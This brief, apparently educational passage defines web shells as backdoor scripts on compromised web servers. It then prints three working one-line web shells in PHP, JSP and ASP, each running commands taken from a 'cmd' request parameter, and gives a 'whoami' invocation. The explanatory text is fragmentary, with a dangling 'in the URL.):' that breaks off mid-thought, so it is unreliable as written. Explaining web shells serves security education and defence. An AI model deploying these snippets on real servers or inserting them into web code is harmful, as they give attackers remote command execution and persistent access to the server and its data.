A web shell is a malicious script or backdoor planted on a compromised web server that allows attackers to remotely execute commands, manipulate files, and maintain persistent access.
Typically looks like a harmless web page (e.g., PHP, ASP, JSP) but acts as a control panel for hackers.
?cmd=whoami
in the URL.): <?php system($_GET['cmd']); ?>
<%@ page import="java.io.*" %>
<% Runtime.getRuntime().exec(request.getParameter ("cmd")); %>
<% Response.Write(CreateObject("WScript.Shell").Exec(Request.QueryString("cmd")).StdOut.ReadAll()) %>